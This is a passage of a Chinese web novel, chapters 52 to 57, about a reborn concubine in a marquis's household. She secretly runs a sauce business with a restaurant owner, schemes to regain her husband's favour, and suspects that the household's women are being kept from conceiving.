秋寒是柏兰姵派到她这儿来的,但因为这十日姜奕辰都没有来芷春居,秋寒开始担心自己新主子会彻底失宠,她愈发不敢放开柏兰姵那边了。 再者说姜奕辰刚刚在这儿过了夜,这是个好消息,秋寒一大早就回德善居那边报信去了,估么着还要跟柏兰姵和她那些个姐妹套套近乎,一时半会儿地还没回来。 柏芷兮剜了冬暖一艳,“就是柳掌柜啊,一品居的柳掌柜,这不是为了方便给他们送东西吗?是幌子,是借口啊!” 第52章 他醋了? 揽月苑背后有主子,具体是谁柏芷兮也不知道,只知道那人非富即贵、手眼通天,那人最大爱好就是游戏人间,开这揽月苑就是收留一些落魄、无家可归的女子,教她们各种技艺,然后再让她们进入各个人家,品尝人生百态。 柏芷兮虽然没想明白这背后主人的逻辑,要对她们这些苦命的女子做善事,开个善堂或者济慈院不就行了?开什么揽月苑,养什么瘦马? 不过,这不打紧,这么多年她感慨过很多次,还好她流落到了揽月苑,至少这地方在出门子之前是真干净,里面的姑娘养得都跟小家碧玉似的,一水儿的清倌人,要是流落到别处,那可就不好说了。 要说着一品居,就要说到揽月苑的好日子上,揽月苑是个日常很重节庆的地方,逢年过节地也会请了戏班子来唱几场,请来外面酒肆的庖厨来做上几桌,这其中就有南安都第一食肆一品居了。 柏芷兮就是在这种节庆宴赏上跟一品居的大掌柜也是大东家的柳晟认识的,起因就是对一道菜的品鉴,柳晟在那道菜里加了几种难得的香料,这么多年都没人能全部吃出来是什么,唯独柏芷兮只尝了一口就全说了出来,还都对了。 然后二人细聊起来才发现,这柳晟的父母竟然认识她的父母,还曾经一起比试过厨艺。 他们谈的投契,柳晟又知道柏芷兮会做一些能够用来蒸菜、炒菜的酱料,这些酱料能让食材生出一些更复杂的做法,能让它们吃起来更鲜美。 柳晟回去研究之后,还真就琢磨出了几道新菜,这些菜色后来也就成了一品居的招牌菜,至此二人从友人进一步合作起来。 柏芷兮每个月都要给柳晟提供几罐做菜用的酱料,而柳晟则会将银钱和所需材料暗中交给柏芷兮,不向揽月苑的萧大娘子透露。 柏芷兮因此攒了一笔银子,前世的时候,她遇见了来揽月苑给姑娘作画的武凤之,一见钟情之后不久便将这笔银子给了他,让他给她赎身。 这一世,她的银子没喂了狗去,却又担心被柏家或是这定安侯府的门房抄了去,索性就留在外面钱生钱了。 只是她钱生钱的法子不是把银子存到钱庄去吃利,她找到了柳晟,答应入侯府之后依旧会想法子为他提供酱料,但是他得答应让她入股用她酱料烹饪的那几道新菜。 她给了银子要的也不多,但凡那几道菜有每卖出去一道,她都能拿那道菜价钱的一成。 因为这几道菜没有她的酱料是做不出的,给她花红本就不是什么不可能的事,更何况她还投了银子进去。 可是,进了侯府的妾室哪里是那么容易能出来的?就是冬暖这样的内院丫头也不是随便能出去的,于是他们就共同商量出了一个听起来合情合理的解释。 他们夸大了柳家和方家祖上的交情和来往,谎称两家是世交,而柳晟与柏芷兮也以义兄妹相称,这样方便两边来往。 这样以来,柏芷兮每年都能拿上一笔花红,有了定安侯府做靠山,她也不怕柳晟会反悔。 这几天柏芷兮做了三个小坛子酱料都是给柳晟蒸鱼用的,她原想着请大厨房出府采买的人帮着捎去一品居,可是刚才姜奕辰问她还有什么要求的时候,她又想了还是自己能定期出去一下更好。 一来,这样她对柳晟能够更放心,柳晟要是再琢磨出什么新菜色来,她或许还能卖给他酱料、香料深得,将来能攒下的银子只会更多。 二来,如果总是让大厨房的人跟柳晟接触,日子久了,她能从一品居拿花红的事就会被发现。未经夫主允许,妾室是不能在外面做生意的。 这三来么,柏芷兮有意寻访叔父一家,解开自己心底的谜团。当年她父母惨死之后,叔父拿着她爹的书信找上门来,把她接回家去照顾了一段时间。 那时候她还太小,只记得叔父一家待她很好,真就如亲生女儿一般,只是有一回去游船之后,她就到了人伢子手中。 人伢子言之凿凿地说她是被他叔父卖了的,但她不信,她想要找到叔父一家寻求真相,哪怕真相就如人伢子所说那般,她心里也有了底了,也就认命了。 上一世她跟着武凤之度日,穷困潦倒,还得被武凤之的母亲像看人犯一样看着,根本无银、无力寻亲,这一世她一定要试着找一找才行。 被柏芷兮这么一提醒,冬暖才想起来是谁,她先去把门关上了才道:“是柳掌柜啊,可是小娘你也不想想,你说去什么叔伯家,那柳掌柜是你的谁?不就成了异姓的兄长了么?” “这要是被府里出去的人瞧见了,你要怎么解释你跟柳掌柜的关系?柳掌柜也是玉树临风、气度优雅的人物,夜是会吃味的。” 柏芷兮这回是真的愣住了,她没想到的,这回反而很可能被冬暖这个笨丫头猜对了: “爷吃柳掌柜的醋?这应该不至于吧,不过凡事还是要往坏处想才对。也是,如果我出去了就直奔一品居,进去了还半天不出来,任谁都得怀疑我和他之间不清白。” “冬暖,你这回好聪明,你居然能想到这上面来,看来这些日子跟我在大厨房进进出出的,果然有长进。” “不……不是,奴婢不是自己看出来的,是铜锤,不,是安康小声跟奴婢嘀咕了两句,就在廊子下边。”冬暖很诚实地道。 安康以前就叫铜锤,农人佃户家出身的孩子叫这么个名字好养活,他连铜锤这个名字都告诉冬暖了,可见他跟冬暖并不是嘀咕了两句这么简单的。 柏芷兮先不理会冬暖跟安康之间还有没有别的,只是问道:“安康怎么说?刚才爷就那么走了,是不是厌恶我了?我刚才也不是故意的……” 她是真没想到姜奕辰怎么就生那么大的气,还说她的“叔伯”就那种看她在火坑里挣扎也不救她,还要将她待价而沽的人。 可是天地良心,她说的时候真没想这么多,就是觉得借着世交的关系偶尔来往一下,比较方便罢了。 第53章 过了就假了 冬暖点了点头,又摇了摇头:“不像,他当时朝我挤眉弄眼的,就是这样……” 冬暖学着康安听到里面谈话时第一时间的反应,就是这种表情,眼睛里还闪着兴奋还坏坏的光。 康安从小跟着姜奕辰一起长大,还是姜奕辰的伴读,他们是主仆,但也是某种程度上的兄弟,他是最了解姜奕辰的人之一,他的反应能说明很多问题。 柏芷兮斟酌了一下,她也是学过如何从身边人的反应里判断这人的真实想法的,如果没猜错的话,姜奕辰反而开始对她有兴趣了。 妾室守则中有这么一条,不怕夫主生气,就怕他气了之后不回来,怕他对你没兴趣、对你很克制! 这就好像开赌坊的最怕的不是客人赢钱走了,而是怕他们赢了之后不回来,因为只要他们还回来,之后就一定会输。 男人也是一样,只要引起了他的兴趣,只要他还肯回来,就有法子把人拉回来。 柏芷兮缓了口气:“那这么说也还好,过些日子他气消了,还回来的,我再把他哄回来……倒是刚才,我说他总不会要跟大黄抢那口吃食吧,他特别生气,好像不止是因为我说了这句话。” “我没法子,就装作什么都不懂、什么都不知道,可是我装得好像有些过了,就是有点太过单纯了,反而假了……” 装可怜、装无辜也是有技巧的,就好像有些玉石本来就是有瑕疵的一样,太过完美,太过清白,反倒是假了! 她刚才装得白璧无瑕,可是以她的过往经历来说,她是决不可能这般单纯、无知的,他之所以信了,只是一时间被他男人的本能迷惑了。 等他想明白了,反而会意识到她是装的,以后她再说什么、做什么,他就不见得会信了,甚至还会觉得她做什么都是内里藏奸……这可不好。 “可是,小娘,奴婢觉得你跟夫人、姚小娘还有陶姑娘比,真的挺单纯的……就是跟去了别处的那些姑娘比,也不复杂,你就是比她们聪明了点儿,就看起来复杂了一点点……” 冬暖捏了捏手指,比了一个“一点点”,她语无伦次,但她觉得自己说的没错。 曾经萧大娘子也说过,柏芷兮是同一批姑娘里最聪明、通透的,不过可惜,她是个“艺”痴,就是说不仅是手艺上的东西,但凡她看得上的技艺、东西,她都喜欢去钻研这是怎么做出来的,然后不管以后用不用得到都要去学一学。 这样以来,耽误了她很多的精力,让她没工夫、没心思却体会人情世故和心计上的那些事儿,心思上反倒是更像一个匠人,这样可是容易坏事儿的。 所以冬暖觉得自己的姑娘,现在柏小娘,真的很聪明,心眼儿也真不算少,但谁要说她不单纯,相对来说肯定不是。 柏芷兮尴尬得动了动嘴角,其实这么说也没错,她虽重活了一世,可是在内宅的经验上并没有比别人多多少。 上一世她出了揽月苑之后就跟着武凤之回了武家,武家穷困潦倒,只有那么一个小院,她虽是妾室,却没有正妻,只有一个武母。 等到她被武凤之送给了他的上官,等他反应过来被骗的时候,不堪受辱就自尽了……因此她对着内宅有畏惧,却没有什么经验。 柏芷兮叹了口气,说不上来是遗憾还是悲凉地道:“也许吧,可是他不会这样看,只会觉得我有心机。等他下次来了,我还是要挽回一下的好。” “挽回,无外乎是一退一进的事,之前向后的太多了,之后就要向前一大步,这样才能让他觉得之前感觉到的是错觉……” 冬暖似懂非懂地用力点了点头:“小娘总是有办法的,奴婢不担心这个,可是你……是不是也太小气了些,爷想吃点肉干,你都不给。” “这么小气,爷会觉得你对他没有情意,别的哪个小娘有了好吃的、好用的,不是上杆子地给爷送去。爷要是知道了咱们担心出事儿才不给他做的,也会觉得咱们多心了吧?” “这西院儿,不,是定安侯府,奴婢瞧着也不是什么虎穴狼窝,要是让爷疑心了,可能还会怨咱们。奴婢瞧着,咱们只要每一步都跟着,都是亲手做的。” “就是送到爷手里这一步也只有你自己,这样的话是出不了岔子的,要不就给爷做几顿饭试一试,没准儿他心里那口气一缓,这事儿就过去了。” “过去了?”柏芷兮看着冬暖,忽然就笑了。 冬暖傻乎乎地点了下头,被柏芷兮这么看着,她又不敢肯定了: “难道不是吗?这不就是满足了男人的脾胃么?奴婢听说姚小娘从前什么都不会,进府之后特意找了个会正骨的女师傅学了推拿安谷的手艺,隔三差五地就要给爷按一按,所以爷才每过一段日子都要去他那儿一次。” “要是你能用这些吃食留住爷就好了,说不定就能早点怀个孩子,夫人那儿就好交待了。” 柏芷兮笑了笑,拿出针线笸箩继续绣她的帕子:“傻丫头,这么办,他是过去了,我可就过不去。你想想,他要是吃得好了,万一三天两头地要让我做怎么办?” “就算我能次次亲力亲为,这食材、香料是不是还得我自己贴银子进去?还有,他不是一个好口腹之欲的人,我这么做,能吸引他多久?” “他一忙起来就没个边儿,说不定在哪儿凑和一口就过去了,到时候我这儿还白白坐了蜡。夫人又要说了,说我净弄那些没用的。” “你还说着府里风平浪静,咱们进门之后,除了夫人敲打过我几句,姚小娘可有什么动静?她正在暗处等着、看着我出错呢,你这么折腾就等着吧。” 眼看着就要到月底了,她要先试着送两罐子酱料出去给一品居,把这条路走通,眼下还是得专注这一件事,不能横生枝节。 冬暖不服地道:“可是姚小娘自己还敢爷按骨呢,她就不怕哪里会出错么……” 第54章 急了也怀不上 所以说冬暖是个傻丫头,柏芷兮叹了口气:“她那个性子,能学什么?不过是能爷松散一下罢了,你真以为她会正骨啊。” “我要是给爷做吃食,那可是要直接吃下肚子的,一旦出错,可半点转圜的余地都没有,还是想想别的法子吧。我听说这位爷喜欢听琴、看舞,哪天我安排好了,好生给他演一出就是了。” 关键还是姜奕辰这个人对吃的、喝的兴趣不大,在他眼里这些不过是让人活着好好干活的工具,从这些当中得不到什么享受。 她要是用自己的手艺争宠,纵使能引起他一时的兴趣,这兴趣也很快就会过去,之后说不定还给自己惹一身骚,得不偿失。 男人么,他既然喜欢看那些妖妖娆娆的伎俩,她就给他看好了,保准他喜欢。 二人说着话,秋寒进来了,从外面端了一食盒的瓜子、松子过来,她皱着眉,很不满地将盒子往她们二人面前的桌子上一搁: “芷小娘,爷好不容易来了,你也不多留他半天,就这么把人放走了,谁知道会不会便宜了一心居的那位。” “有句话奴婢知道不当说,可为着夫人和芷小娘着想,奴婢不得不说。小娘还是尽力些吧,你是进门做妾的,不是来做节妇的,有什么法子都得使上了。” “爷不是那等沉迷女色的,你得趁着爷新鲜,赶紧怀上子嗣才行。等爷新鲜劲儿过去了,你想见爷一面都难。天天往大厨房跑,好像你还真能成了陶姑娘了……” 秋寒说完,既气柏芷兮不争气,又顾忌着柏芷兮好歹是半个主子,也觉得自己过分了,放下食盒转身就走了。 冬暖追出去跟了几步,回来担心地道:“小娘,秋寒好像去找夫人告状了。不过,她说的也不是没有道理。” 其实不论是妻还是妾,都得趁着刚进门那几年年跟郎君关系比较亲密的时候抓紧生下孩子。 等过上几年,都得面临新鲜劲儿过去了的问题,因此好些人都是在那时生了孩子,之后守着孩子过日子的。 尤其姜奕辰虽然只还能再纳一个良妾,可是通房的数量是不限的,他才二十几岁,将来身边有的是新人,万一有哪个有了子嗣,要顶了良妾的位子,首当其冲的就是出身不正、无依无靠的柏芷兮。 而且秋寒就是来盯着柏芷兮的,既然去找柏兰姵了,怎么可能不告状。 冬暖抓了把食盒里的瓜子又散手放了回去,“本来爷来了是好事儿,管他走没走呢,咱们要是先去给夫人请安,在夫人面前说上一说,也算是她交待的事儿有了进展了。” “她先去这么一说,好事儿都得被她说成坏事儿了……小娘,你怎么一点儿都不着急啊!” “看看,给夫人的,还行吧。” 柏芷兮剪断绣线,看了眼手上的帕子,上面绣了一支姿态清雅的兰花,“这府里的子嗣之事没那么简单,不是有了恩宠就能怀上的。” “争宠,我现在就冲在最前面,到头来这段日子还怀不上,才麻烦呢,连以后的机会都没了。让你留意咱们芷春居的饮食,你可发现了什么?” “不曾,奴婢也是跟着吃喝的,一点儿问题都没有,要不然还是找外面的郎中看看?”冬暖也感到气闷。 要说这事儿只是因为女人的肚子不行才怀不上也说不通,说是男人不行也不对,毕竟姜奕德那边比他们西院儿更惨,那么多妻妾,还成日的在一起,结果连一个孩子都没有。 他们西院儿好歹还有一个姜士明呢,可要说人都没问题,那就有可能是饮食上的问题,甚至是被下了药了,可是这情况又不像是中了毒了。 柏芷兮摇了摇头:“光是带吃食出去验也不行,何况咱们也不认识什么有名的郎中,这事儿恐怕还是得求到萧大娘子那儿去。” “最好过上些日子,我自己出去一趟,亲自让郎中看看,就是不知道咱们都出了门儿了,萧大娘子还肯不肯帮这么大的忙。” 食物种类繁多,不可能每一样都夹带出去找人验看,而且万一这药或毒不是放在食物里的呢? 所以最好的办法还是人出去,不管对方用了什么手段,都是加注在人身上的,只要让郎中看看人有没有什么问题就好了。 这件事柏芷兮已经翻过来倒过去地想了很多遍了,为什么这样的可能柏兰姵和世子夫人葛氏没有发现。 她觉着这件事这两个人应该也是怀疑过的,没查出来的原因无外乎三个,要么是她们怀疑错了方向,查没查对地方。 要么就是他们也请了府医和自家找来的郎中进府,可关键问题可能就出在了“进府”这两个字上,这些个郎中可能被背后之人收买了,故意隐瞒这些妻妾身上的问题。 再要么就是对方手段高明还走了偏门,这些个郎中见过的奇毒奇症还不够多,导致他们没有一个人诊断出来。 日子久了,这些个妻妾便都怀疑是自己的问题。当然了,姜奕德那边的妻妾也可能怀疑是姜奕德有问题,毕竟他们那边可是一个孩子都没生出来的。 柏芷兮下定决心,最多三个月,她必须出府一趟。萧大娘子那边认识的人多,揽月苑背后还有人,说不定能找到一些偏门的郎中呢? 柏芷兮正思量着之后的计划,冬暖正犯着愁,担心秋寒真把柏兰姵挑唆得火冒三丈了,派人来把柏芷兮打一顿。 没一会儿工夫,竟然是柏兰姵身边的筝儿来了。 柏兰姵身边两个大丫鬟,一个叫玉棋,一个叫筝儿。敬茶那日一个劲儿敲打柏芷兮的叫玉棋,这个筝儿为人要稳重许多,常劝着玉棋和柏兰姵。 筝儿是带着东西来的,进来便笑盈盈地行了个礼:“奴婢恭喜小娘了,爷来了芷春居,出门的时候还向康安问了小娘在大厨房的情况,显然是上了心了。” “夫人之前也是心急,多说了小娘几句,心里也是为了小娘着急。可是之后冷静了,她又说了,什么事儿都是循序渐进的好。” 第55章她也想变成解语花 筝儿拿出一只匣子,放在桌上打开来,里面都是上好的胭脂水粉,之后又让底下的人抬上来一堆东西,有古琴,有成箱的舞衣: “这些都是江南来的,都是上好的东西,商队那些个管事儿都是大老粗,不知道夫人用不上这些,夫人说就都送给小娘用了。” “小娘为了侯夫人的胃口着想,给大厨房献计献策是好的,夫人很欣慰,只是也不无担忧……” 难道是因为她越过柏兰姵去讨好了整个侯府的主母,跟柏兰姵抢婆婆了,才被这样说的么? 柏芷兮太清楚这些主母身边贴身服侍的丫鬟、婆子的有多重要了,要是跟她们处得好了,以后触怒主母的时候,这些人能帮着说几句话的话,主母的火气立刻就能降一大半。 要是这些人添油加醋、落井下石地说几句,主母不仅火气高涨,甚至还会将她往更坏的地方想,哪天找到机会,说不定还要将她打出去呢。 柏芷兮不敢怠慢,赶忙解释道:“筝儿姑娘,这中间可能有些误会,妾不是有意向侯夫人卖好的。妾就是嘴馋,爷又否了妾这芷春居的小厨房,想着大厨房的屋子那么多,就想借一间空着、荒废了的。” “正巧听说侯夫人最近胃口不好,就想到了妾家传的鱼皮饺,就把食方告诉了大厨房的掌事,那碗给侯夫人的鱼皮饺不是妾做的。妾绝对没有绕开夫人接近侯夫人的意思,妾算个什么人,哪儿配到侯夫人面前现眼啊。” 妾室不是正经的儿媳妇,除非大节上一大家子都要赴宴的场合,或是侯夫人召见,她们之间是可以没有交集的。 有些人,就好比姚初蕊,仗着自己跟先原配夫人有亲,逮着机会就往正院儿和东院儿跑,最是犯忌讳了。 柏芷兮可不能让柏兰姵误会她是个不安分的,那碗鱼皮饺也不是她亲手做的,算不上献媚,而且她到现在都没接到徐氏任何的赏赐,这就更能说明问题了。 筝儿笑了笑,很是亲和地道:“小娘说笑了,咱们夫人不是气量狭小之人,不过是一碗扁食,要是这样都要生气,夫人早就被某些人气病多少回了。” “不过……奴婢说几句逾矩的话,奴婢在这侯府里日子久了,从来没见过侯夫人跟哪个妾室真正走得近过,就是那位也不行,还有世子他们东院儿也有两个妾室总往上凑,就没见谁真正得了好的。” “奴婢想说,与其在侯夫人身上下功夫,不如还是多在爷身上下下心血。你看,你搭上了家传的食方,连一点赏赐都没得到。这要是把心思放在爷身上,哪儿还用得着去大厨房借地方。” 筝儿这些话说得委婉,却都是柏兰姵的意思,说到底妾室就是正室繁衍子嗣的工具,把心思花到别的事儿上就是不务正业。 同时,筝儿也露出了理解的笑,说明这是柏兰姵的意思,她自己并不完全这么看。 柏芷兮一下子便觉得跟筝儿的距离近了不少,她也笑着道:“还请姑娘转告夫人,这事儿妾心里有数,爷那儿急不来。不是不想,而是妾……鄙薄。” “什么?奴婢不太明白小娘的意思。” 筝儿不是不知道什么是“鄙薄”,她是不明白,妾室讨好主君也用不着什么高深的学问啊,鄙薄一点又怎么了? 柏芷兮露出为难的苦笑,她早就预想到了会有这么一问,她重重地叹了口气,露出的笑容里带着自卑: “姑娘也知道妾的出身,爷是个忙于正事的人,他说的那些什么生意啊、市令要做什么,妾都听不懂。爷跟妾说上话,定是不愿理会妾的。” “不过……还请姑娘转告夫人,妾会努力学的,就是慢了点儿,因为妾在外面的时间实在是太少了,看到的很多事儿和东西都是很久以前的。” “妾早间也跟爷提了,说是要是能一个月哪怕三个月出去一次见见世面都好,可是爷拒绝了,妾就只能慢慢学了。请夫人放心,妾一定会竭尽全力,早日变成爷枕边的那朵解语花。” 说罢,柏芷兮还动情地抹了几滴眼泪,看起来她特别想跟姜奕辰有话说,可是她的水平太低,姜奕辰说的她都听不懂,是姜奕辰嫌弃她鄙薄的。 可是这能怪她吗?她是揽月苑出来的,又不是大家闺秀,她们也读书识字,可是读的不精,也未必就是圣贤书,更不会教生意经、打理庶务这些东西。 姜奕辰就不一样了,他骨子里是一个务实的人,他也欣赏务实的人,他能给陶丝绣足够的尊重和空间也是因为这个。 那么对她柏芷兮呢,她就是娇娇气气、袅袅婷婷地小妾室,外表花哨、绚丽,内里就是空壳子,塞的都是草,被姜奕辰嫌弃有什么奇怪的? 姚初蕊为什么那么闹腾还能得到姜奕辰的看重,不仅是因为她有子嗣,还是因为姚初蕊是姚家想要拉拢徐氏所出的续弦嫡子才嫁给姜奕辰的。 要是姚家没有家道中落,没有这样的打算,姚初蕊的确可以做别人的正室,换句话说就是她是按照正室的标准培养起来的。 姚初蕊的为人和性子确实就那么回事,可是她的才学和管家理事的本事确实有的,这也是她一直能跟姜奕辰说得上的原因之一。 这一点也就能说明为什么陶丝绣那么精明能干的人,也始终未能真正打入姜奕辰的世界的原因。 因为姜奕辰最看重和长情的两个女人——柏兰姵和姚初蕊,在骨子里跟他是很相似的。 这样的差距不是柏芷兮随随便便狐媚一下就能弥补的,这中间需要时间和积累…… “这……似乎也有道理,奴婢就先回去给夫人回话了。”筝儿似懂非懂地应着告退了。 筝儿并没有完全听懂,但是也听懂了一些,毕竟她跟柏芷兮都不是大家子教养好的闺秀,平时跟主子们相处,也能感受到这种差距。 待筝儿走远了,冬暖惊讶而兴奋地跑到柏芷兮面前,不敢置信地道:“小娘,奴婢没觉着你跟爷说不上话啊,你这么说,是想……” 第56章 就地取材,请客 柏芷兮看着冬暖点头,这些不必说出来,一切尽在不言中,她就是想要争取时间和出去的机会。 她这么做不只是为了出去找萧大娘子请名医,她是真的想争取时间精进她对姜奕辰的了解,并且精进与他相处的技能。 别看她这两次侍寝,插科打诨地好像是没吃亏,还给姜奕辰闹了两次老大的没趣儿,让他碰了一鼻子灰。 但其实她心里清楚,她这样咋咋呼呼的,其实是在用张牙舞爪掩饰她的紧张……她现在跟姜奕辰之间,根本没话说。 要是一定要她留住姜奕辰,恐怕只有以色侍人这一条路了,可是姜奕辰偏偏又不是一个好美色的人。 他这个人,对待美色就像对待好吃的东西一样,都是工具而已,只不过“美色”是他繁衍后代的工具罢了。 姜奕辰从小就知道世子的位子跟他没关系,他本身又继承了外祖家皇商的血脉和天赋,从小就跟庶务和生意打交道,做这个的跟世人接触得多,让他原本精明、务实的性子更加精进。 能被这样的人欣赏的人不仅行事风格要务实,他跟你接触起来,凡事都特别容易丁是丁卯是卯地让你说清楚,你若是没有真才实学,想要含糊地糊弄他,他便会觉得你徒有其表,不过是庸脂俗粉,这样的人恐怕不能长久地维持他的兴趣。 而要怀上他的孩子,生下来之后还得不被他嫌弃,至少得让他觉得她是一个还可以的人,孩子有她这样的生母不至于被她连累。 这两世她跟外面的接触都太少了,她需要到外面走走,看看外面的人间烟火,才能拉近他们之间的距离。 不过,既然姜奕辰不让她出去,她就只能指望柏兰姵了,成不成都是以后的事,眼下她还是得脚踏实地地做好眼前的事。 “走,去大厨房,看看酱料怎么样,再给咱们三个淘换点吃食。”柏芷兮一下子仿佛又兴致高昂起来。 冬暖更加如此,因着柏芷兮跟夏姑姑的关系,她和秋寒可都是受益者。 这府里的吃食供应都是按照身份、地位安排的,柏芷兮好歹还有妾室的份例在,她跟秋寒可就吃的相当普通了。 秋寒来府里几年了,已经吃习惯了,冬暖却不是,这儿的下人吃的可真不如揽月苑,好在有柏芷兮,现在夏姑姑隔三差五地会给她们加菜。 别看秋寒是柏兰姵的人,对柏芷兮经常敲敲打打的,可自从在吃食上提升了一个等级,现在也学会争一只眼闭一只眼了。 二人去了大厨房,检查了之前腌制的酱料,又新做了两小坛,很快就忙完了。 今日大厨房给各房供应的主菜是猪肚鸡和炒羊肉,主位两样都有,再配上各色炒菜,妾室这两样只能选一样,下人们则继续是一个肉末炒菜和一个素菜。 夏姑姑今日被世子夫人葛氏叫去了,来跟她们说话的是婵儿,她自从知道柏芷兮自家有食方还愿意教人之后,就对她们客气了许多。 只是婵儿多少还是有些下不来台:“你们……过来了?今儿猪肚鸡做得好,还能加了豆腐、竹荪一起煮,羊肉是炒的,你们就算了。” “芷小娘这张脸好看,万一吃了上火,又要怪我们考虑不周全。不过你们自己会做,那边的熬白了的胡椒汤是现成的,还剩了些羊肉和一堆杂碎,你们可以自己做羊汤。” 猪肚鸡用的就是胡椒汤,只是将胡椒汤熬白还是要做些别的工序的,人家都给处理好了,手艺又很不错,她们直接拿来用就行。 这府里的主子除了那些个夜里要喝酒的,都对那些肠肠肚肚的没兴趣,供应一府大小主子的爆炒羊肉,今日宰了几头羊,这羊杂是绝对富裕的。 就算夏姑姑和婵儿不做这人情,这些多出来的也就被送到城外的猎苑去,便宜了那些野兽了,再就是有运送的下人偷拿一些回家或是卖给外面的食摊。 拿去做人情,也没什么所谓,左右也不会有人为了这些肠肠肚肚的追究她们。 柏芷兮略微想了一下,便问婵儿:“这些个杂碎要是都用了,不送去猎苑,会不会怎样?” 婵儿想都没想,无所谓地道:“不送去就不送去呗,猎苑自有活牲供应,这些个送去了,好些也是放了两三日就都倒掉了。” “就算是用上了,这些对咱们人来说是不少,可对于那些猛兽来说也就是塞牙缝的。会送去,也是因为之前世子爷提倡府上节俭,不好浪费了罢了。” “你们要是要,拿去就是了。不过你们要这么多杂碎做什么?也是做酱料吗?酱料你们也做了不少了,你们可真够口重的。” 其实也没做多少,这些酱料是给一品居蒸菜、炒菜用的,一道菜用一点,起到提鲜点睛的作用即可。 的确是做了五六罐了,但都是小罐的,不过这要是自己吃的,在内宅也是很少见的。 那些侍女里有北边和蜀中来的,吃不惯府里的饭也会自己备一点酱料,只是一小罐都能吃几个月了,根本用不了那么多。 柏芷兮倒是不好说这是拿去卖的,索性就说:“倒不全是我们吃的,外面有我一位远房长辈,就爱这一口。我没别的东西孝敬她,就顺手弄些酱料,之后还要麻烦咱们这儿的人帮我捎出去呢。” 多出来的食材柏芷兮这边都是出了银子的,不用避讳,何况别的妾室也能隔三差五地跟家里联系,送回去的真金白银的都有,几罐酱料实在无须避讳。 她说完便转了话头,“来咱们大厨房也有几日了,我都没来及给大家起一次灶,请大家吃上几桌。既然白汤和杂碎都剩了许多,要不我煮了羊汤来,就当请大家了。” 做成汤水,多一碗、少一碗的就是多加点水的事儿,再用些别的香料补一补味儿,不仅是大厨房的人,就是半个侯府的下人,都能分一碗。 现在快入秋了,白天还热着,夜里却是凉的。这汤水做好了,就温在灶上,晚上下了差事一人喝上一小碗,简直不要更好了。 第57章 人心向背 尤其是那些个巡夜,身上寒,下值的时候晚了,就算羊杂分不到多少了,一碗暖身驱寒的热汤总是可以的。 这样花费好少,因着是请众人喝的,大厨房有往日存下来的款子,自然是要搭一份进去的,柏芷兮自己再出一部分,最多一半儿,也出不了几个钱。 关键是柏芷兮刚才得了柏兰姵一笔赏赐,算是发了一笔横财,拿出一二两银子来做这事儿不成问题。 “那敢情好,芷小娘要请客,奴婢们自然高兴了……你还挺大方的嘛。”婵儿努了努嘴,鼻子、眼睛都不知道往哪儿放了。 柏芷兮笑了笑,没给婵儿反应的机会,上去就拉起她的手道:“这么多的食材要处理,我和冬暖两个自是忙不完的,不知婵儿姑娘有没有空?” “要是得空了,就来帮帮我们,跟我一起做这羊汤,可好?” 那做猪肚鸡剩下的胡椒汤只能做底汤,而且请这么多人吃,是绝对不够的。 也就是说要做两大锅羊汤,从汤底到羊杂都得重新倒腾,这要是跟着做,不就等于从头到尾学了一遍吗? 而且这是柏芷兮亲自开口叫她来的,她这样做连偷师都算不上,完全就是光明正大地来学的。 这羊汤在侯府不过是个粗贱玩意儿,她学了在府里用不上几次,但是她早晚是要放出去嫁人的,说不定将来还能做她的营生呢,而她师父夏姑姑却用不上这东西,也不会介意她绕过她这个师父就去学了。 婵儿只是没想到,她几次找柏芷兮的麻烦,到头来柏芷兮居然还肯提携她,还把别的问题都考虑到了。 见婵儿呆愣地站在那儿没走也没动,柏芷兮干脆推着她往厨房里走:“快来吧,一会儿晚了,我还得回芷春居去呢,就算我们四爷不来,到了晚饭前我也得回去,这是规矩。” 每日姜奕辰散衙之后,若是姜定武和徐氏那边不叫他,他就会回内院,一般在晚饭前就会定下宿在谁那儿,所有的妾室、通房都得在各自的小院儿里等着。 当然,现在也没几个人等他,陶丝绣破了例,甚至可以在外头的绣庄过夜,就只有柏芷兮和姚初蕊两个需要等的。 婵儿不知怎么的就想起姚初蕊来了,四房那边的饭菜有时候是她负责送去的,之前柏芷兮没进门的时候,她每次给姚初蕊的一心居送饭菜过去,都能看到姚初蕊犹如一只骄傲的孔雀挺着腰杆、高昂着下巴坐在那里,就是料定了姜奕辰九成九的都会到她那儿去一样。 当然了,柏兰姵身子不好,而姚初蕊是整个侯府这一代里唯一产育过的女眷,她的肚子空下来了,就得想法子给她塞上,姜奕辰不去她那儿,又能去哪儿呢……这也的确是差不多板上钉钉的事。 可是这两天不一样了,婵儿昨日再去时,坐在那儿的姚初蕊仿佛一只随时准备扑上去扇翅膀、伸脖子刀人的斗鸡,眼珠子瞪得溜圆地等着她们这些进进出出的下人。 等到有人来通报,说是不用等了,姜奕辰去了芷春居芷小娘那儿了,姚初蕊的下巴就昂得更高了。 人家斗鸡是喔喔地叫,姚初蕊倒是不说什么,可浑身上下都仿佛在喊“老娘没输,你们给老娘等着”! 姚初蕊要出身有出身,要儿子有儿子,因着是先侯夫人的外甥女,姜定武待她跟对正经的儿媳妇一般无二,就是徐氏也给她七分颜面,在府里对她仅次于柏兰姵那儿一星半点的。 只是这些对姚初蕊再好,再是敬着她、尊着她,她也依旧是贵妾而不是正妻,所以一应规制和服侍的人依旧是按照贵妾的规格来的。 所以给姚初蕊送饭菜的依旧是婵儿这样的二三等的侍女,然后姚初蕊对着她们总是鼻子不是鼻子、眼睛不是眼睛的,仿佛她让她们服侍,是她们的荣幸一样。 但是这些年下来,不仅姚初蕊几乎没赏赐过她们,就连柏兰姵这个四房主母也很少赏她们,别的房里的逢年过节可是连服侍妾室的一块儿赏的。 哼,牛什么牛,说是出身好,还不是个破落户,花起银子来抠抠搜搜的,生了个儿子就当自己是天王老子了。姜奕辰还年轻,又不是以后就没别的孩子了! 跟眼前客客气气、以德报怨的柏芷兮比,姚初蕊真是不好相处呢。 婵儿被柏芷兮推着往前走,心里头一次有了想报答柏芷兮的想法,虽然她不知道该怎么帮忙对付姚初蕊,可还是有一件事可以说一说: “飘红姑娘……” “什么飘红?”柏芷兮没听明白,这是个人,还是什么她没听说过的菜名或是香料呀。 婵儿红了脸,尴尬地低声道:“芷小娘居然不知道的?她是品香楼舞姬的,四爷在外面应酬,时常让她做陪应酬……” 柏芷兮不知道什么飘红、飘绿的,但是品香楼她知道,她正琢磨着这个飘红名气很大吗,就听到身边一声惊呼。 “啊,小娘,奴婢记得她,就是萧大娘子说的那个反例!”毕竟当着婵儿的面,冬暖不敢说太多,剩下的话只能在使眼色中传达。 